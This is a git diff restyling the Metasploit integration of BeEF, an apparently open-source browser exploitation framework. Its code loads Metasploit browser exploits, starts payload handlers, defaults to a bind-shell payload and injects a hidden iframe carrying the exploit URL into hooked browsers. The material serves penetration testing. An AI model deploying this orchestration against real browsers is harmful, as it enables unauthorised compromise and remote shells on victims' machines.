Merge pull request #2051 from bcoles/rubocop-extensions-metasploit
rubocop -a extensions/metasploit
This commit is contained in:
@@ -7,9 +7,7 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module Metasploit
|
module Metasploit
|
||||||
module API
|
module API
|
||||||
|
|
||||||
module MetasploitHooks
|
module MetasploitHooks
|
||||||
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Server, 'mount_handler')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Server, 'mount_handler')
|
||||||
|
|
||||||
@@ -20,124 +18,126 @@ module BeEF
|
|||||||
timeout = 10
|
timeout = 10
|
||||||
connected = false
|
connected = false
|
||||||
Timeout.timeout(timeout) do
|
Timeout.timeout(timeout) do
|
||||||
|
print_status("Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}")
|
||||||
|
connected = msf.login
|
||||||
|
rescue Timeout::Error
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
return unless connected
|
||||||
|
|
||||||
|
msf_module_config = {}
|
||||||
|
path = "#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache"
|
||||||
|
if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path)
|
||||||
|
print_debug 'Attempting to use Metasploit exploits cache file'
|
||||||
|
raw = File.read(path)
|
||||||
begin
|
begin
|
||||||
print_status "Connecting to Metasploit on #{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.host')}:#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.port')}"
|
msf_module_config = YAML.safe_load(raw)
|
||||||
connected = msf.login
|
rescue StandardError => e
|
||||||
rescue Timeout::Error
|
print_error "[Metasploit] #{e.message}"
|
||||||
return
|
print_error e.backtrace
|
||||||
|
end
|
||||||
|
count = 1
|
||||||
|
msf_module_config.each do |k, _v|
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil])
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])
|
||||||
|
print_over "Loaded #{count} Metasploit exploits."
|
||||||
|
count += 1
|
||||||
|
end
|
||||||
|
print "\r\n"
|
||||||
|
else
|
||||||
|
msf_modules = msf.call('module.exploits')
|
||||||
|
count = 1
|
||||||
|
msf_modules['modules'].each do |m|
|
||||||
|
next unless m.include? '/browser/'
|
||||||
|
|
||||||
|
m_details = msf.call('module.info', 'exploit', m)
|
||||||
|
next unless m_details
|
||||||
|
|
||||||
|
key = 'msf_' + m.split('/').last
|
||||||
|
# system currently doesn't support multilevel categories
|
||||||
|
# categories = ['Metasploit']
|
||||||
|
# m.split('/')[0...-1].each{|c|
|
||||||
|
# categories.push(c.capitalize)
|
||||||
|
# }
|
||||||
|
|
||||||
|
if m_details['description'] =~ /Java|JVM|flash|Adobe/i
|
||||||
|
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ['ALL'] }
|
||||||
|
elsif m_details['description'] =~ /IE|Internet\s+Explorer/i
|
||||||
|
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['IE'] }
|
||||||
|
elsif m_details['description'] =~ /Firefox/i
|
||||||
|
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['FF'] }
|
||||||
|
elsif m_details['description'] =~ /Chrome/i
|
||||||
|
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['C'] }
|
||||||
|
elsif m_details['description'] =~ /Safari/i
|
||||||
|
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['S'] }
|
||||||
|
elsif m_details['description'] =~ /Opera/i
|
||||||
|
target_browser = { BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ['O'] }
|
||||||
|
end
|
||||||
|
# TODO:
|
||||||
|
# - Add support for detection of target OS
|
||||||
|
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
|
||||||
|
# - Add support for multiple target browsers as currently only 1 browser will match or all
|
||||||
|
|
||||||
|
msf_module_config[key] = {
|
||||||
|
'enable' => true,
|
||||||
|
'msf' => true,
|
||||||
|
'msf_key' => m,
|
||||||
|
'name' => m_details['name'],
|
||||||
|
'category' => 'Metasploit',
|
||||||
|
'description' => m_details['description'],
|
||||||
|
'authors' => m_details['references'],
|
||||||
|
'path' => path,
|
||||||
|
'class' => 'Msf_module',
|
||||||
|
'target' => target_browser
|
||||||
|
}
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])
|
||||||
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])
|
||||||
|
print_over "Loaded #{count} Metasploit exploits."
|
||||||
|
count += 1
|
||||||
|
end
|
||||||
|
print "\r\n"
|
||||||
|
File.open(path, 'w') do |f|
|
||||||
|
f.write(msf_module_config.to_yaml)
|
||||||
|
print_debug("Wrote Metasploit exploits to cache file: #{path}")
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if connected
|
BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)
|
||||||
msf_module_config = {}
|
|
||||||
path = "#{$root_dir}/#{BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')}/msf-exploits.cache"
|
|
||||||
if !BeEF::Core::Console::CommandLine.parse[:resetdb] && File.exist?(path)
|
|
||||||
print_debug 'Attempting to use Metasploit exploits cache file'
|
|
||||||
raw = File.read(path)
|
|
||||||
begin
|
|
||||||
msf_module_config = YAML.safe_load(raw)
|
|
||||||
rescue => e
|
|
||||||
print_error "[Metasploit] #{e.message}"
|
|
||||||
print_error e.backtrace
|
|
||||||
end
|
|
||||||
count = 1
|
|
||||||
msf_module_config.each { |k, v|
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k, nil])
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])
|
|
||||||
print_over "Loaded #{count} Metasploit exploits."
|
|
||||||
count += 1
|
|
||||||
}
|
|
||||||
print "\r\n"
|
|
||||||
else
|
|
||||||
msf_modules = msf.call('module.exploits')
|
|
||||||
count = 1
|
|
||||||
msf_modules['modules'].each { |m|
|
|
||||||
next if !m.include? "/browser/"
|
|
||||||
m_details = msf.call('module.info', 'exploit', m)
|
|
||||||
if m_details
|
|
||||||
key = 'msf_'+m.split('/').last
|
|
||||||
# system currently doesn't support multilevel categories
|
|
||||||
#categories = ['Metasploit']
|
|
||||||
#m.split('/')[0...-1].each{|c|
|
|
||||||
# categories.push(c.capitalize)
|
|
||||||
#}
|
|
||||||
|
|
||||||
if m_details['description'] =~ /Java|JVM|flash|Adobe/i
|
|
||||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY => ["ALL"]}
|
|
||||||
elsif m_details['description'] =~ /IE|Internet\s+Explorer/i
|
|
||||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["IE"]}
|
|
||||||
elsif m_details['description'] =~ /Firefox/i
|
|
||||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["FF"]}
|
|
||||||
elsif m_details['description'] =~ /Chrome/i
|
|
||||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["C"]}
|
|
||||||
elsif m_details['description'] =~ /Safari/i
|
|
||||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["S"]}
|
|
||||||
elsif m_details['description'] =~ /Opera/i
|
|
||||||
target_browser = {BeEF::Core::Constants::CommandModule::VERIFIED_WORKING => ["O"]}
|
|
||||||
end
|
|
||||||
#TODO:
|
|
||||||
# - Add support for detection of target OS
|
|
||||||
# - Add support for detection of target services (e.g. java, flash, silverlight, ...etc)
|
|
||||||
# - Add support for multiple target browsers as currently only 1 browser will match or all
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
msf_module_config[key] = {
|
|
||||||
'enable' => true,
|
|
||||||
'msf' => true,
|
|
||||||
'msf_key' => m,
|
|
||||||
'name' => m_details['name'],
|
|
||||||
'category' => 'Metasploit',
|
|
||||||
'description'=> m_details['description'],
|
|
||||||
'authors' => m_details['references'],
|
|
||||||
'path' => path,
|
|
||||||
'class' => 'Msf_module',
|
|
||||||
'target' => target_browser
|
|
||||||
}
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key, nil])
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])
|
|
||||||
print_over "Loaded #{count} Metasploit exploits."
|
|
||||||
count += 1
|
|
||||||
end
|
|
||||||
}
|
|
||||||
print "\r\n"
|
|
||||||
File.open(path, "w") do |f|
|
|
||||||
f.write(msf_module_config.to_yaml)
|
|
||||||
print_debug "Wrote Metasploit exploits to cache file: #{path}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Get module options + payloads when the beef framework requests this information
|
# Get module options + payloads when the beef framework requests this information
|
||||||
def self.get_options(mod)
|
def self.get_options(mod)
|
||||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||||
|
return if msf_key.nil?
|
||||||
|
|
||||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||||
if msf_key != nil && msf.login
|
return unless msf.login
|
||||||
msf_module_options = msf.call('module.options', 'exploit', msf_key)
|
|
||||||
com = BeEF::Core::Models::CommandModule.where(:name => mod).first
|
msf_module_options = msf.call('module.options', 'exploit', msf_key)
|
||||||
if msf_module_options
|
com = BeEF::Core::Models::CommandModule.where(name: mod).first
|
||||||
options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
|
unless msf_module_options
|
||||||
options << {
|
print_error "Unable to retrieve metasploit options for exploit: #{msf_key}"
|
||||||
'name' => 'mod_id',
|
return
|
||||||
'id' => 'mod_id',
|
|
||||||
'type' => 'hidden',
|
|
||||||
'value' => com.id
|
|
||||||
}
|
|
||||||
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
|
|
||||||
if msf_payload_options
|
|
||||||
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
|
|
||||||
return options
|
|
||||||
else
|
|
||||||
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error "Unable to retrieve metasploit options for exploit: #{msf_key}"
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
|
||||||
|
options << {
|
||||||
|
'name' => 'mod_id',
|
||||||
|
'id' => 'mod_id',
|
||||||
|
'type' => 'hidden',
|
||||||
|
'value' => com.id
|
||||||
|
}
|
||||||
|
|
||||||
|
msf_payload_options = msf.call('module.compatible_payloads', msf_key)
|
||||||
|
unless msf_payload_options
|
||||||
|
print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
|
||||||
|
end
|
||||||
|
|
||||||
|
options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
|
||||||
|
options
|
||||||
end
|
end
|
||||||
|
|
||||||
# Execute function for all metasploit exploits
|
# Execute function for all metasploit exploits
|
||||||
@@ -146,60 +146,58 @@ module BeEF
|
|||||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||||
msf_opts = {}
|
msf_opts = {}
|
||||||
|
|
||||||
opts.each { |opt|
|
opts.each do |opt|
|
||||||
next if ['e', 'ie_session', 'and_module_id'].include? opt['name']
|
next if %w[e ie_session and_module_id].include? opt['name']
|
||||||
msf_opts[opt["name"]] = opt["value"]
|
|
||||||
}
|
|
||||||
|
|
||||||
if msf_key != nil && msf.login
|
msf_opts[opt['name']] = opt['value']
|
||||||
|
end
|
||||||
|
|
||||||
|
if !msf_key.nil? && msf.login
|
||||||
# Are the options correctly formatted for msf?
|
# Are the options correctly formatted for msf?
|
||||||
# This call has not been tested
|
# This call has not been tested
|
||||||
msf.call('module.execute', 'exploit', msf_key, msf_opts)
|
msf.call('module.execute', 'exploit', msf_key, msf_opts)
|
||||||
end
|
end
|
||||||
|
|
||||||
hb = BeEF::HBManager.get_by_session(hbsession)
|
hb = BeEF::HBManager.get_by_session(hbsession)
|
||||||
if !hb
|
unless hb
|
||||||
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
|
print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
bopts = []
|
bopts = []
|
||||||
if msf_opts['SSL']
|
proto = msf_opts['SSL'] ? 'https' : 'http'
|
||||||
proto = 'https'
|
|
||||||
else
|
|
||||||
proto = 'http'
|
|
||||||
end
|
|
||||||
config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
|
config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
|
||||||
uri = proto + '://' + config['callback_host'] + ":" + msf_opts['SRVPORT'] + "/" + msf_opts['URIPATH']
|
uri = "#{proto}://#{config['callback_host']}:#{msf_opts['SRVPORT']}/#{msf_opts['URIPATH']}"
|
||||||
|
|
||||||
|
bopts << { sploit_url: uri }
|
||||||
bopts << {:sploit_url => uri}
|
c = BeEF::Core::Models::Command.new(
|
||||||
c = BeEF::Core::Models::Command.new(:data => bopts.to_json,
|
data: bopts.to_json,
|
||||||
:hooked_browser_id => hb.id,
|
hooked_browser_id: hb.id,
|
||||||
:command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
command_module_id: BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
|
||||||
:creationdate => Time.new.to_i
|
creationdate: Time.new.to_i
|
||||||
).save
|
).save
|
||||||
|
|
||||||
# Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of
|
# Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of
|
||||||
# which exploits where executed against which hooked browsers
|
# which exploits where executed against which hooked browsers
|
||||||
return true
|
true
|
||||||
end
|
end
|
||||||
|
|
||||||
# Get module options + payloads when the beef framework requests this information
|
# Get module options + payloads when the beef framework requests this information
|
||||||
def self.get_payload_options(mod, payload)
|
def self.get_payload_options(mod, payload)
|
||||||
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
|
||||||
|
|
||||||
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
return if msf_key.nil?
|
||||||
if msf_key != nil && msf.login
|
|
||||||
msf_module_options = msf.call('module.options', 'payload', payload)
|
|
||||||
|
|
||||||
com = BeEF::Core::Models::CommandModule.where(:name => mod).first
|
msf = BeEF::Extension::Metasploit::RpcClient.instance
|
||||||
if msf_module_options
|
|
||||||
options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
|
return unless msf.login
|
||||||
return options
|
|
||||||
else
|
msf_module_options = msf.call('module.options', 'payload', payload)
|
||||||
print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}"
|
|
||||||
end
|
if msf_module_options
|
||||||
|
BeEF::Extension::Metasploit.translate_options(msf_module_options)
|
||||||
|
else
|
||||||
|
print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -4,88 +4,88 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Metasploit
|
module Metasploit
|
||||||
extend BeEF::API::Extension
|
extend BeEF::API::Extension
|
||||||
|
|
||||||
@short_name = 'msf'
|
@short_name = 'msf'
|
||||||
@full_name = 'Metasploit'
|
@full_name = 'Metasploit'
|
||||||
@description = 'Metasploit integration'
|
@description = 'Metasploit integration'
|
||||||
|
|
||||||
# Translates msf exploit options to beef options array
|
# Translates msf exploit options to beef options array
|
||||||
def self.translate_options(msf_options)
|
def self.translate_options(msf_options)
|
||||||
callback_host = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.callback_host')
|
callback_host = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.callback_host')
|
||||||
|
|
||||||
options = []
|
options = []
|
||||||
msf_options.each do |k, v|
|
msf_options.each do |k, v|
|
||||||
next if v['advanced'] == true
|
next if v['advanced'] == true
|
||||||
next if v['evasion'] == true
|
next if v['evasion'] == true
|
||||||
|
|
||||||
v['allowBlank'] = 'true' if v['required'] == false
|
v['allowBlank'] = 'true' if v['required'] == false
|
||||||
|
|
||||||
case v['type']
|
case v['type']
|
||||||
when 'string', 'address', 'port', 'integer'
|
when 'string', 'address', 'port', 'integer'
|
||||||
v['type'] = 'text'
|
v['type'] = 'text'
|
||||||
if k == 'URIPATH'
|
v['value'] = if k == 'URIPATH'
|
||||||
v['value'] = rand(3**20).to_s(16)
|
rand(3**20).to_s(16)
|
||||||
elsif k == 'LHOST'
|
elsif k == 'LHOST'
|
||||||
v['value'] = callback_host
|
callback_host
|
||||||
else
|
else
|
||||||
v['value'] = v['default']
|
v['default']
|
||||||
|
end
|
||||||
|
when 'bool'
|
||||||
|
v['type'] = 'checkbox'
|
||||||
|
when 'enum'
|
||||||
|
v['type'] = 'combobox'
|
||||||
|
v['store_type'] = 'arraystore',
|
||||||
|
v['store_fields'] = ['enum'],
|
||||||
|
v['store_data'] = translate_enums(v['enums']),
|
||||||
|
v['value'] = v['default']
|
||||||
|
v['valueField'] = 'enum',
|
||||||
|
v['displayField'] = 'enum',
|
||||||
|
v['autoWidth'] = true,
|
||||||
|
v['mode'] = 'local'
|
||||||
|
end
|
||||||
|
v['name'] = k
|
||||||
|
v['label'] = k
|
||||||
|
options << v
|
||||||
end
|
end
|
||||||
when 'bool'
|
|
||||||
v['type'] = 'checkbox'
|
options
|
||||||
when 'enum'
|
end
|
||||||
v['type'] = 'combobox'
|
|
||||||
v['store_type'] = 'arraystore',
|
# Translates msf payloads to a beef compatible drop down
|
||||||
v['store_fields'] = ['enum'],
|
def self.translate_payload(payloads)
|
||||||
v['store_data'] = translate_enums(v['enums']),
|
return unless payloads.key?('payloads')
|
||||||
v['value'] = v['default']
|
|
||||||
v['valueField'] = 'enum',
|
values = translate_enums(payloads['payloads'])
|
||||||
v['displayField'] = 'enum',
|
|
||||||
v['autoWidth'] = true,
|
default_payload = values.include?('generic/shell_bind_tcp') ? 'generic/shell_bind_tcp' : values.first
|
||||||
v['mode'] = 'local'
|
|
||||||
|
return unless values.length.positive?
|
||||||
|
|
||||||
|
{
|
||||||
|
'name' => 'PAYLOAD',
|
||||||
|
'type' => 'combobox',
|
||||||
|
'ui_label' => 'Payload',
|
||||||
|
'store_type' => 'arraystore',
|
||||||
|
'store_fields' => ['payload'],
|
||||||
|
'store_data' => values,
|
||||||
|
'valueField' => 'payload',
|
||||||
|
'displayField' => 'payload',
|
||||||
|
'mode' => 'local',
|
||||||
|
'autoWidth' => true,
|
||||||
|
'defaultPayload' => default_payload,
|
||||||
|
'reloadOnChange' => true
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
# Translates metasploit enums to ExtJS combobox store_data
|
||||||
|
def self.translate_enums(enums)
|
||||||
|
enums.map { |e| [e] }
|
||||||
end
|
end
|
||||||
v['name'] = k
|
|
||||||
v['label'] = k
|
|
||||||
options << v
|
|
||||||
end
|
end
|
||||||
|
|
||||||
options
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Translates msf payloads to a beef compatible drop down
|
|
||||||
def self.translate_payload(payloads)
|
|
||||||
return unless payloads.key?('payloads')
|
|
||||||
|
|
||||||
values = translate_enums(payloads['payloads'])
|
|
||||||
|
|
||||||
default_payload = values.include?('generic/shell_bind_tcp') ? 'generic/shell_bind_tcp' : values.first
|
|
||||||
|
|
||||||
return unless values.length.positive?
|
|
||||||
|
|
||||||
{
|
|
||||||
'name' => 'PAYLOAD',
|
|
||||||
'type' => 'combobox',
|
|
||||||
'ui_label' => 'Payload',
|
|
||||||
'store_type' => 'arraystore',
|
|
||||||
'store_fields' => ['payload'],
|
|
||||||
'store_data' => values,
|
|
||||||
'valueField' => 'payload',
|
|
||||||
'displayField' => 'payload',
|
|
||||||
'mode' => 'local',
|
|
||||||
'autoWidth' => true,
|
|
||||||
'defaultPayload' => default_payload,
|
|
||||||
'reloadOnChange' => true
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
# Translates metasploit enums to ExtJS combobox store_data
|
|
||||||
def self.translate_enums(enums)
|
|
||||||
enums.map{|e| [e]}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'msfrpc-client'
|
require 'msfrpc-client'
|
||||||
|
|||||||
@@ -6,25 +6,23 @@
|
|||||||
|
|
||||||
# This is a dummy module to fool BeEF's loading system
|
# This is a dummy module to fool BeEF's loading system
|
||||||
class Msf_module < BeEF::Core::Command
|
class Msf_module < BeEF::Core::Command
|
||||||
def output
|
def output
|
||||||
|
command = BeEF::Core::Models::Command.find(@command_id)
|
||||||
|
data = JSON.parse(command['data'])
|
||||||
|
sploit_url = data[0]['sploit_url']
|
||||||
|
|
||||||
command = BeEF::Core::Models::Command.find(@command_id)
|
"
|
||||||
data = JSON.parse(command['data'])
|
|
||||||
sploit_url = data[0]['sploit_url']
|
|
||||||
|
|
||||||
return "
|
|
||||||
beef.execute(function() {
|
beef.execute(function() {
|
||||||
var result;
|
var result;
|
||||||
|
|
||||||
try {
|
try {
|
||||||
var sploit = beef.dom.createInvisibleIframe();
|
var sploit = beef.dom.createInvisibleIframe();
|
||||||
sploit.src = '#{sploit_url}';
|
sploit.src = '#{sploit_url}';
|
||||||
} catch(e) {
|
} catch(e) {
|
||||||
for(var n in e)
|
for(var n in e)
|
||||||
result+= n + ' ' + e[n] ;
|
result+= n + ' ' + e[n] ;
|
||||||
}
|
}
|
||||||
|
|
||||||
});"
|
});"
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -1,4 +1,4 @@
|
|||||||
require_relative '../../../core/main/router/router.rb'
|
require_relative '../../../core/main/router/router'
|
||||||
#
|
#
|
||||||
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
|
# Copyright (c) 2006-2021 Wade Alcorn - wade@bindshell.net
|
||||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
@@ -7,10 +7,8 @@ require_relative '../../../core/main/router/router.rb'
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Metasploit
|
module Metasploit
|
||||||
|
|
||||||
# This class handles the routing of RESTful API requests for Metasploit integration
|
# This class handles the routing of RESTful API requests for Metasploit integration
|
||||||
class MsfRest < BeEF::Core::Router::Router
|
class MsfRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
# Filters out bad requests before performing any routing
|
# Filters out bad requests before performing any routing
|
||||||
before do
|
before do
|
||||||
@msf ||= BeEF::Extension::Metasploit::RpcClient.instance
|
@msf ||= BeEF::Extension::Metasploit::RpcClient.instance
|
||||||
@@ -28,48 +26,43 @@ module BeEF
|
|||||||
|
|
||||||
# Returns version of Metasploit
|
# Returns version of Metasploit
|
||||||
get '/version' do
|
get '/version' do
|
||||||
begin
|
version = @msf.call('core.version')
|
||||||
version = @msf.call('core.version')
|
result = {}
|
||||||
result = {}
|
result[:version] = version
|
||||||
result[:version] = version
|
result.to_json
|
||||||
result.to_json
|
rescue StandardError => e
|
||||||
rescue StandardError => e
|
print_error "Internal error while retrieving Metasploit version (#{e.message})"
|
||||||
print_error "Internal error while retrieving Metasploit version (#{e.message})"
|
halt 500
|
||||||
halt 500
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns all the jobs
|
# Returns all the jobs
|
||||||
get '/jobs' do
|
get '/jobs' do
|
||||||
begin
|
jobs = @msf.call('job.list')
|
||||||
jobs = @msf.call('job.list')
|
count = jobs.size
|
||||||
count = jobs.size
|
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result[:count] = count
|
result[:count] = count
|
||||||
result[:jobs] = jobs
|
result[:jobs] = jobs
|
||||||
result.to_json
|
result.to_json
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while retrieving Metasploit job list (#{e.message})"
|
print_error "Internal error while retrieving Metasploit job list (#{e.message})"
|
||||||
halt 500
|
halt 500
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns information about a specific job given its id
|
# Returns information about a specific job given its id
|
||||||
get '/job/:id/info' do
|
get '/job/:id/info' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
raise InvalidParamError, 'id' if id !~ /\A\d+\Z/
|
||||||
raise InvalidParamError, 'id' if id !~ /\A\d+\Z/
|
|
||||||
job = @msf.call('job.info', id)
|
job = @msf.call('job.info', id)
|
||||||
halt 404 if job.nil?
|
halt 404 if job.nil?
|
||||||
job.to_json
|
job.to_json
|
||||||
rescue InvalidParamError => e
|
rescue InvalidParamError => e
|
||||||
print_error e.message
|
print_error e.message
|
||||||
halt 400
|
halt 400
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while retrieving Metasploit job with ID #{id} (#{e.message})"
|
print_error "Internal error while retrieving Metasploit job with ID #{id} (#{e.message})"
|
||||||
halt 500
|
halt 500
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Stops a job given its id
|
# Stops a job given its id
|
||||||
@@ -80,7 +73,7 @@ module BeEF
|
|||||||
raise InvalidParamError, 'id' if id !~ /\A\d+\Z/
|
raise InvalidParamError, 'id' if id !~ /\A\d+\Z/
|
||||||
|
|
||||||
removed = @msf.call('job.stop', id)
|
removed = @msf.call('job.stop', id)
|
||||||
if !removed.nil?
|
unless removed.nil?
|
||||||
result['success'] = removed
|
result['success'] = removed
|
||||||
print_info "[Metasploit] Stopped job [id: #{id}]"
|
print_info "[Metasploit] Stopped job [id: #{id}]"
|
||||||
end
|
end
|
||||||
@@ -96,56 +89,48 @@ module BeEF
|
|||||||
|
|
||||||
# Starts a new msf payload handler
|
# Starts a new msf payload handler
|
||||||
post '/handler' do
|
post '/handler' do
|
||||||
begin
|
body = JSON.parse(request.body.read)
|
||||||
body = JSON.parse(request.body.read)
|
handler = @msf.call('module.execute', 'exploit', 'exploit/multi/handler', body)
|
||||||
handler = @msf.call('module.execute', 'exploit', 'exploit/multi/handler', body)
|
result = {}
|
||||||
result = {}
|
# example response: {"job_id"=>0, "uuid"=>"oye0kmpr"}
|
||||||
# example response: {"job_id"=>0, "uuid"=>"oye0kmpr"}
|
if handler.nil? || handler['job_id'].nil?
|
||||||
if handler.nil? || handler['job_id'].nil?
|
print_error '[Metasploit] Could not start payload handler'
|
||||||
print_error "[Metasploit] Could not start payload handler"
|
result['success'] = false
|
||||||
result['success'] = false
|
else
|
||||||
else
|
print_info "[Metasploit] Started job [id: #{handler['job_id']}]"
|
||||||
print_info "[Metasploit] Started job [id: #{handler['job_id']}]"
|
print_debug @msf.call('job.info', handler['job_id']).to_s
|
||||||
print_debug "#{@msf.call('job.info', handler['job_id'])}"
|
result['success'] = true
|
||||||
result['success'] = true
|
result['id'] = handler['job_id']
|
||||||
result['id'] = handler['job_id']
|
|
||||||
end
|
|
||||||
result.to_json
|
|
||||||
rescue InvalidJsonError => e
|
|
||||||
print_error e.message
|
|
||||||
halt 400
|
|
||||||
rescue StandardError => e
|
|
||||||
print_error "Internal error while creating exploit handler (#{e.message})"
|
|
||||||
halt 500
|
|
||||||
end
|
end
|
||||||
|
result.to_json
|
||||||
|
rescue InvalidJsonError => e
|
||||||
|
print_error e.message
|
||||||
|
halt 400
|
||||||
|
